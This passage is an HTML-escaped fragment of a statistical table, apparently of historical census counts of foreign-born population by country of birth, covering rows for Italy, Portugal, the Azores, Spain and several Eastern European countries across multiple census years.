    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;174,526&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;175,976&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;101,282&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;8,515&lt;/TD&amp;gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,887&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;776&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;390&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;328&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;86&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;33&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;34&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Italy&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,790,429&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,610,113&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,343,125&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;484,027&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;182,580&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;44,230&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;17,157&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;11,677&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,679&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;34&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;35&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Portugal&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;108,775&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;103,976&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;77,634&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;40,376&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;25,735&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;15,650&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;8,973&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,477&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,274&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;35&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;36&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Azores&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;35,611&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;33,995&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;18,274&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,768&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,739&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;7,512&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,431&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,361&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;36&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;37&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Portugal&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;73,164&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;69,981&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;59,360&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;30,608&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;15,996&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;8,138&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,542&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,116&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,274&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;37&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;38&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Spain&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;59,362&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;49,535&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;22,108&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;7,050&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;6,185&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,121&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,764&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,244&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,113&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;38&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;39&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Other Southern Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;472&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;132&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;39&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR&gt;&lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;40&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Eastern Europe&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,785,890&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,731,327&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;2,956,783&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,134,680&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;512,464&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;182,371&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;63,408&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;10,586&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,520&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;40&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;41&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Albania&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;8,814&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;5,608&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;41&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;42&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Bulgaria&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;9,399&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;10,477&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;11,498&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;42&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;43&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Czechoslovakia&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;491,638&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;362,438&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;219,214&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;156,891&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;118,106&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;85,361&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;40,289&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;43&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;44&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Estonia&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,550&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;44&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;45&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Hungary&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;274,450&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;397,283&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;495,609&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;145,714&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;62,435&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;11,526&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;3,737&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;45&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;46&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Latvia&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;20,673&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;46&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;47&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Lithuania&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;193,606&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;135,068&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;47&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;48&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Poland&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,268,583&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,139,979&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;937,884&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;383,407&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;147,440&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;48,557&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;14,436&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;7,298&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;48&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;49&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Romania&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;146,393&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;102,823&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;65,923&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;15,032&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;(NA)&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;49&lt;/TD&gt;
  &lt;/TR&gt;

  &lt;TR ALIGN=&quot;right&quot;&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;50&lt;/TD&gt;
    &lt;TD&gt;&lt;/TD&gt;
    &lt;TD ALIGN=&quot;left&quot; NOWRAP&gt;&lt;FONT SIZE=&quot;1&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Soviet Union&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,153,628&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,400,495&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;1,184,412&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;423,726&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;182,644&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;35,722&lt;/TD&gt;
    &lt;TD&gt;&lt;FONT SIZE=&quot;1&quot;&gt;4,644&lt;/TD&gt;
